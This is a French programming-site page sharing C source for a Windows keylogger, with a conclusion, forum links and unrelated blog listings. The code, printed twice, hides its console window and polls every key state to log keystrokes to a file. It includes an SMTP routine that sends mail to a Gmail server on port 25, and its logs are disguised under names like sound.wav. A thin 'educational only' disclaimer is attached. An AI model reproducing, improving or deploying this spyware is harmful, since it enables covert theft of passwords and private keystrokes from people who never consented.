Accueil > > > KEYLOGGER-MAIL (ENVOIE LES TOUCHES FRAPPÉES AU CLAVIER PAR MAIL)
KEYLOGGER-MAIL (ENVOIE LES TOUCHES FRAPPÉES AU CLAVIER PAR MAIL)
Information sur la source
Description
Ce code est une amélioration d'un code que j'ai trouvé sur cpp france il logue la plus part des touches du clavier sans aucun Hook ! et envoie par mail sur server SMTP port 25 /!\ n' utilisez ce programme qu' à but instructif pour vous perfectionner en C, api et gestion des socket, ni moi ni l' hebergeur de ce code ne sera responsable des "différentes" utilisations de cette source merci ! /!\
Source
- #include <stdio.h>
- #include <stdlib.h>
- #include <windows.h>
- #include <winuser.h>
- #include <windowsx.h>
- #include <time.h>
- int MailIt (char *mailserver, char *emailto, char *emailfrom,
- char *emailsubject, char *emailmessage);
- #define BUFSIZE 800
- #define waittime 500
- /*tapper :
- "nslookup -querytype=mx gmail.com" dans la console msdos
- si vous souhaitez avoir les serveurs SMTP à jour*/
- #define cmailserver "gmail-smtp-in.l.google.com"
- #define cemailto "toi@gmail.com"
- #define cemailfrom "destinataire@gmail.com"
- #define LogLength 100
- #define FileName "sound.wav"
- #define SMTPLog "ring.wav"
- #define cemailsubject "Logged"
- int isalt(); //savoir si alt est pressé
- int ismajpressed(); //savoir si shift est pressé
- int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
- void TraiterLettre(int lettre);
-
- int majuscule; //savoir si le clavier est en mode caps lock
- FILE *sortie;
- char fichier[256];
-
- int main(int argc, char *argv[])
- {
- //on masque
- HWND hwnd = GetForegroundWindow() ;
- ShowWindow(hwnd,SW_HIDE);
-
- int i, lettre, result, lastresult, lastletter, compteur;
-
- GetCurrentDirectory(256, fichier);
- strcat(fichier,"\\fichierlog.txt");
- sortie = fopen(fichier,"w+");
- result=0;
- compteur=0; //on initialise
- lastresult=0;
- i=0;
-
- while ( i==0 ) { //boucle sans fin
- lettre=13;
- for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
-
- result=GetKeyState(lettre);
-
- //Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
- if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
- if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
- if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
- {
- TraiterLettre(lettre);
- lastresult=result;
- lastletter=lettre;
- lettre=13;
- Sleep(50);
- }
-
- } //fin de test des lettres
- Sleep(1);
- } //fin de la boucle sans fin
-
- return 0;
- }
-
- int ismaj() {
-
- if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
- return 1;
- else return 0;
- }
-
- int ismajpressed() {
- int result;
-
- result=GetKeyState(VK_SHIFT );
- if ( ( result==-127 ) || ( result==-128 ) ) return 1;
- else return 0;
- }
-
- int isalt() {
- int result;
-
- result=GetKeyState(VK_MENU );
- if ( ( result==-127 ) || ( result==-128 ) ) return 1;
- else return 0;
- }
-
- void TraiterLettre(int lettre) {
-
- char towrite; //la lettre que l'on va écrire dans la console
- static int compteur = 0;
-
- //traitement des chiffres ( un décalage )
- if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
-
- //Les lettres sont envoyées comme majuscules, il faut faire un décalage
- else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
-
- //Sinon on écrit telle quelle la lettre
- else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
-
- else switch ( lettre ) {
-
-
- case VK_MENU:
- fprintf(sortie,"<alt>",towrite);
- break;
-
-
- case VK_BACK:
- fprintf(sortie,"<delete>",towrite);
- break;
-
-
-
- case VK_DELETE:
- fprintf(sortie,"<Suppr>",towrite);
- break;
-
- case 9:
- fprintf(sortie,"<TAB>",towrite);
- break;
-
-
-
- case VK_CONTROL:
- fprintf(sortie,"<ctrl>",towrite);
- break;
-
-
- case 49 : if( ismaj() ) towrite='1';
- else towrite='&';
- break;
-
- case 50 : if ( ismaj() ) towrite='2';
- else towrite='é';
- break;
-
- case 51 : if ( ismaj() ) towrite='3';
- else towrite='"';
- break;
-
- case 52 : if ( ismaj() ) towrite='4';
- else towrite= '"';
- break;
-
- case 53 : if ( ismaj() ) towrite='5';
- else towrite='(';
- break;
-
- case 54 : if ( ismaj() ) towrite='6';
- else towrite='-';
- break;
-
- case 55 : if ( ismaj() ) towrite='7';
- else towrite='è';
- break;
-
-
- case 56 : if ( ismaj() ) towrite='8';
- else towrite='_';
- break;
-
-
- case 57 : if ( ismaj() ) towrite='9';
- else towrite='ç';
- break;
-
- case 48 : if ( ismaj() ) towrite='0';
- else towrite='à';
- break;
-
- case 187 : if( ismaj() ) towrite='=';
- else towrite='+';
- break;
-
- case 186 : if ( ismaj() ) towrite='£';
- else towrite='$';
- break;
-
- case 192 : if ( ismaj() ) towrite='%';
- else towrite='ù';
- break;
-
- case 188 : if ( ismaj() ) towrite='?';
- else towrite=',';
- break;
-
- case 190 : if ( ismaj() ) towrite='.';
- else towrite=';';
- break;
-
- case 191 : if ( ismaj() ) towrite='/';
- else towrite=':';
- break;
-
-
- case 32 : if ( isalt() ) towrite=' ';
- else towrite=' ';
- break;
-
-
-
- case 219 : if ( isalt() ) towrite=']';
- else towrite=')';
- break;
-
-
- case 223 : towrite='!';
- break;
- case 111 : towrite='/';
- break;
- case 106 : towrite='*';
- break;
- case 109 : towrite='-';
- break;
- case 107 : towrite='+';
- break;
- case 110 : towrite='.';
- break;
- }
-
-
- // On affiche les lettres dans le log
- if ( lettre==13 ) fprintf(sortie,"\n");
- else fprintf(sortie,"%c",towrite);
- compteur++;
-
- if ( compteur==2 ) {
- fclose(sortie);
- fopen(fichier,"a");
- compteur=0;
- }
- }
-
- int MailIt (char *mailserver, char *emailto, char *emailfrom,
- char *emailsubject, char *emailmessage) {
- SOCKET sockfd;
- WSADATA wsaData;
- FILE *smtpfile;
-
- #define bufsize 300 // taille du fichier pour l' envoie
- int bytes_sent;
- int err;
- struct hostent *host; /* gethostbyname */
- struct sockaddr_in dest_addr; /* adresse de l'hote */
- char line[1000];
- char *Rec_Buf = (char*) malloc(bufsize+1);
- smtpfile=fopen(SMTPLog,"a+");
- if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
- fputs("WSAStartup failed",smtpfile);
- WSACleanup();
- return -1;
- }
- if ( (host=gethostbyname(mailserver)) == NULL) {
- perror("gethostbyname");
- exit(1);
- }
- memset(&dest_addr,0,sizeof(dest_addr));
- memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
-
- /* Prepare dest_addr */
- dest_addr.sin_family= host->h_addrtype;
- dest_addr.sin_port= htons(25); /* PORT */
-
- if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
- perror("socket");
- exit(1);
- }
- /* Connection !*/
- fputs("Connecting....\n",smtpfile);
-
- if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
- perror("connect");
- exit(1);
- }
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"helo me.somepalace.com\n");
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"MAIL FROM:<");
- strncat(line,emailfrom,strlen(emailfrom));
- strncat(line,">\n",3);
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"RCPT TO:<");
- strncat(line,emailto,strlen(emailto));
- strncat(line,">\n",3);
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"DATA\n");
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- Sleep(waittime);
- strcpy(line,"To:");
- strcat(line,emailto);
- strcat(line,"\n");
- strcat(line,"From:");
- strcat(line,emailfrom);
- strcat(line,"\n");
- strcat(line,"Subject:");
- strcat(line,emailsubject);
- strcat(line,"\n");
- strcat(line,emailmessage);
- strcat(line,"\r\n.\r\n");
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"quit\n");
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- fclose(smtpfile);
- #ifdef WIN32
- closesocket(sockfd);
- WSACleanup();
- #else
- close(sockfd);
- #endif
- }
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*tapper :
"nslookup -querytype=mx gmail.com" dans la console msdos
si vous souhaitez avoir les serveurs SMTP à jour*/
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "toi@gmail.com"
#define cemailfrom "destinataire@gmail.com"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"
int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre);
int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie;
char fichier[256];
int main(int argc, char *argv[])
{
//on masque
HWND hwnd = GetForegroundWindow() ;
ShowWindow(hwnd,SW_HIDE);
int i, lettre, result, lastresult, lastletter, compteur;
GetCurrentDirectory(256, fichier);
strcat(fichier,"\\fichierlog.txt");
sortie = fopen(fichier,"w+");
result=0;
compteur=0; //on initialise
lastresult=0;
i=0;
while ( i==0 ) { //boucle sans fin
lettre=13;
for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
result=GetKeyState(lettre);
//Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
{
TraiterLettre(lettre);
lastresult=result;
lastletter=lettre;
lettre=13;
Sleep(50);
}
} //fin de test des lettres
Sleep(1);
} //fin de la boucle sans fin
return 0;
}
int ismaj() {
if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
return 1;
else return 0;
}
int ismajpressed() {
int result;
result=GetKeyState(VK_SHIFT );
if ( ( result==-127 ) || ( result==-128 ) ) return 1;
else return 0;
}
int isalt() {
int result;
result=GetKeyState(VK_MENU );
if ( ( result==-127 ) || ( result==-128 ) ) return 1;
else return 0;
}
void TraiterLettre(int lettre) {
char towrite; //la lettre que l'on va écrire dans la console
static int compteur = 0;
//traitement des chiffres ( un décalage )
if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
//Les lettres sont envoyées comme majuscules, il faut faire un décalage
else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
//Sinon on écrit telle quelle la lettre
else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
else switch ( lettre ) {
case VK_MENU:
fprintf(sortie,"<alt>",towrite);
break;
case VK_BACK:
fprintf(sortie,"<delete>",towrite);
break;
case VK_DELETE:
fprintf(sortie,"<Suppr>",towrite);
break;
case 9:
fprintf(sortie,"<TAB>",towrite);
break;
case VK_CONTROL:
fprintf(sortie,"<ctrl>",towrite);
break;
case 49 : if( ismaj() ) towrite='1';
else towrite='&';
break;
case 50 : if ( ismaj() ) towrite='2';
else towrite='é';
break;
case 51 : if ( ismaj() ) towrite='3';
else towrite='"';
break;
case 52 : if ( ismaj() ) towrite='4';
else towrite= '"';
break;
case 53 : if ( ismaj() ) towrite='5';
else towrite='(';
break;
case 54 : if ( ismaj() ) towrite='6';
else towrite='-';
break;
case 55 : if ( ismaj() ) towrite='7';
else towrite='è';
break;
case 56 : if ( ismaj() ) towrite='8';
else towrite='_';
break;
case 57 : if ( ismaj() ) towrite='9';
else towrite='ç';
break;
case 48 : if ( ismaj() ) towrite='0';
else towrite='à';
break;
case 187 : if( ismaj() ) towrite='=';
else towrite='+';
break;
case 186 : if ( ismaj() ) towrite='£';
else towrite='$';
break;
case 192 : if ( ismaj() ) towrite='%';
else towrite='ù';
break;
case 188 : if ( ismaj() ) towrite='?';
else towrite=',';
break;
case 190 : if ( ismaj() ) towrite='.';
else towrite=';';
break;
case 191 : if ( ismaj() ) towrite='/';
else towrite=':';
break;
case 32 : if ( isalt() ) towrite=' ';
else towrite=' ';
break;
case 219 : if ( isalt() ) towrite=']';
else towrite=')';
break;
case 223 : towrite='!';
break;
case 111 : towrite='/';
break;
case 106 : towrite='*';
break;
case 109 : towrite='-';
break;
case 107 : towrite='+';
break;
case 110 : towrite='.';
break;
}
// On affiche les lettres dans le log
if ( lettre==13 ) fprintf(sortie,"\n");
else fprintf(sortie,"%c",towrite);
compteur++;
if ( compteur==2 ) {
fclose(sortie);
fopen(fichier,"a");
compteur=0;
}
}
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
SOCKET sockfd;
WSADATA wsaData;
FILE *smtpfile;
#define bufsize 300 // taille du fichier pour l' envoie
int bytes_sent;
int err;
struct hostent *host; /* gethostbyname */
struct sockaddr_in dest_addr; /* adresse de l'hote */
char line[1000];
char *Rec_Buf = (char*) malloc(bufsize+1);
smtpfile=fopen(SMTPLog,"a+");
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
fputs("WSAStartup failed",smtpfile);
WSACleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype;
dest_addr.sin_port= htons(25); /* PORT */
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connection !*/
fputs("Connecting....\n",smtpfile);
if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"helo me.somepalace.com\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
Sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
}
Conclusion
j'ai compilé avec dev c++ libraire à ajouter : lws2_32
il y a certainement encore quelques bugs ou quelques problemes au niveau de l'envoie.
au niveau du log des touches tout me semble correct.
si vous faite des modif ou l'améliorer tenez moi au courant plz !
Sources du même auteur
Sources de la même categorie
Commentaires et avis
Discussions en rapport avec ce code source dans le forum
envoie de mail kand clic sur une application .... [ par gijo ]
je debute en c++ et j aimerais creer un programme permettant de recevoir un mail au moment où quelqu' un clic sur une application déterminé .... j esp
Prog C - Envoie de mail auto avec piece jointe - Projet a 98% terminé.... [ par JimyRyan ]
BonjourJ'ai écrit un programme en C (mode Texte pour le moment) qui ce charge d'envoier un mail automatiquement a une liste de personnes.Le mail ainsi
Envoie de mail [ par lolo007 ]
Bonjour à tousVoila dans le cadre d'un projet, il faudrait que je developpe une sous partie qui me permettrait denvoeyr un mail.Mais je ne sais p
envoie de touches fictives du clavier [ par semenzato ]
Bonjour , je voudrais savoir comment envoyer des touches fictives du clavier à la fenetre de dialogue principalemerci
envoie mail en c sous linux [ par vw91 ]
Bonjour,Je suis a la recherche d'un programme c sous linux qui envoie des mails, car je ne comprends pas comment fonctionne les sockets.J'espere que v
envoie e-mail en c++ avec visual c++6 [ par tsii ]
si quelqu'un a du code et des explication qui montre comment programmer l'envoyer d'un e-mailmercie
Envoie de mail en C++ [ par lolo007 ]
Bonjour a tous.Voila, je develloppe un projet en c++.Un de mes objectifs est d'envoyer un mail d'alerte. (Peut un porte le contenu).Mes voila, je n'ai
envoie de mail [ par dacor ]
Bonjour, je cherche une libraire c++ pour envoyer des mails merci
Envoie automatique d'un mail [ par conservatoire ]
Bonjour!!Je voudrais savoir si il est possible de faire en sorte qu'un programme envoie un mail a une adresse donnée .si oui peut on aussi joindre un
Problème d'envoi d'email [ par pdc_666 ]
Bonjour à tous voilà mon problème. Je dois envoyé des mails dans mon appli, j'ai déja un module qui me permet d'envoyé des mail en passant par un serv
|
Derniers Blogs
[WP7] DYNAMICALLY CHANGE STARTUP PAGE[WP7] DYNAMICALLY CHANGE STARTUP PAGE par KooKiz
Let's say that you want to allow the user to customize the startup page of your application. You can easily change the startup page by editing the 'NavigationPage' attribute in the manifest file. But the manifest cannot be modified once the applicatio...
Cliquez pour lire la suite de l'article par KooKiz SESSION SILVERLIGHT 5 3D : SLIDES ET DEMOSSESSION SILVERLIGHT 5 3D : SLIDES ET DEMOS par Groc
Durant les techdays, j'ai eu le plaisir d'animer une session sur Silverlight 5 et la 3D avec Simon Ferquel. Comme promis, voici nos slides et mes démos (celles avec le viper BSG) ici et là. Pour mémoire, les démos utilisent toutes le viper BSG...
Cliquez pour lire la suite de l'article par Groc [TECHDAYS 2012] SESSION WEBMATRIX 2 : LE COUTEAU SUISSE GRATUIT POUR VOS DéVELOPPEMENTS WEB - SLIDES[TECHDAYS 2012] SESSION WEBMATRIX 2 : LE COUTEAU SUISSE GRATUIT POUR VOS DéVELOPPEMENTS WEB - SLIDES par gpommier
Suite à la session que j'ai présenté sur WebMatrix 2, vous pouvez trouver les slides ici, ainsi que les démos en packages nuget : démos1 et démos2 J'en profite pour remercier chaleureusement tous ceux qui sont venus très nombreux à cette sess...
Cliquez pour lire la suite de l'article par gpommier [SHAREPOINT] LES SESSIONS TECHDAYS 2012.[SHAREPOINT] LES SESSIONS TECHDAYS 2012. par Patrick Guimonet
Voici donc pour ceux qui n'ont pas pu venir, ou ceux qui n'ont pas pu toutes les suivre la liste des sessions SharePoint aux TechDays 2012, que je mettrais à jour dès que les liens des vidéo seront disponibles. Ou ici : http...
Cliquez pour lire la suite de l'article par Patrick Guimonet TECHDAYS PARIS 2012 : SESSION PLEINIèRE JOUR 3TECHDAYS PARIS 2012 : SESSION PLEINIèRE JOUR 3 par ROMELARD Fabrice
Speaker: Bernard Ourghanlian Cette session est comme chaque jour transmise en live par BrainSonic, et j'ai donc suivi cette troisième pleinière par ce moyen sur mon iPad . Elle est dédiée comme chaque année à la mise en perspective de l'é...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice
Logiciels
Tribler (2012)TRIBLER (2012)Tribler est un client pair à pair (P2P/Peer-to-Peer) open source avec la capacité de regarder des... Cliquez pour télécharger Tribler OneSwarm (2012)ONESWARM (2012)Le peer-to-peer qui protège votre vie privée, c'est OneSwarm.
Ce logiciel de peer-to-peer crypté... Cliquez pour télécharger OneSwarm PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO (V8.4)PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO (V8.4)PONAMEDIA TV DEVIENS HELLLOOO FLASH
LA TV SUR VOTRE ORDINATEUR.
Toute une plateforme Multi... Cliquez pour télécharger PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO Academy System (17.2.1.0)ACADEMY SYSTEM (17.2.1.0)Logiciel de gestion des établissements.
- élèves/étudiants (inscription, dossier, absence...)
-... Cliquez pour télécharger Academy System Easy-Planning (1.0.0.1)EASY-PLANNING (1.0.0.1)Basé sur les mêmes principes que MyPlanning, Easy-Planning permet de créer des plannings sous la ... Cliquez pour télécharger Easy-Planning
|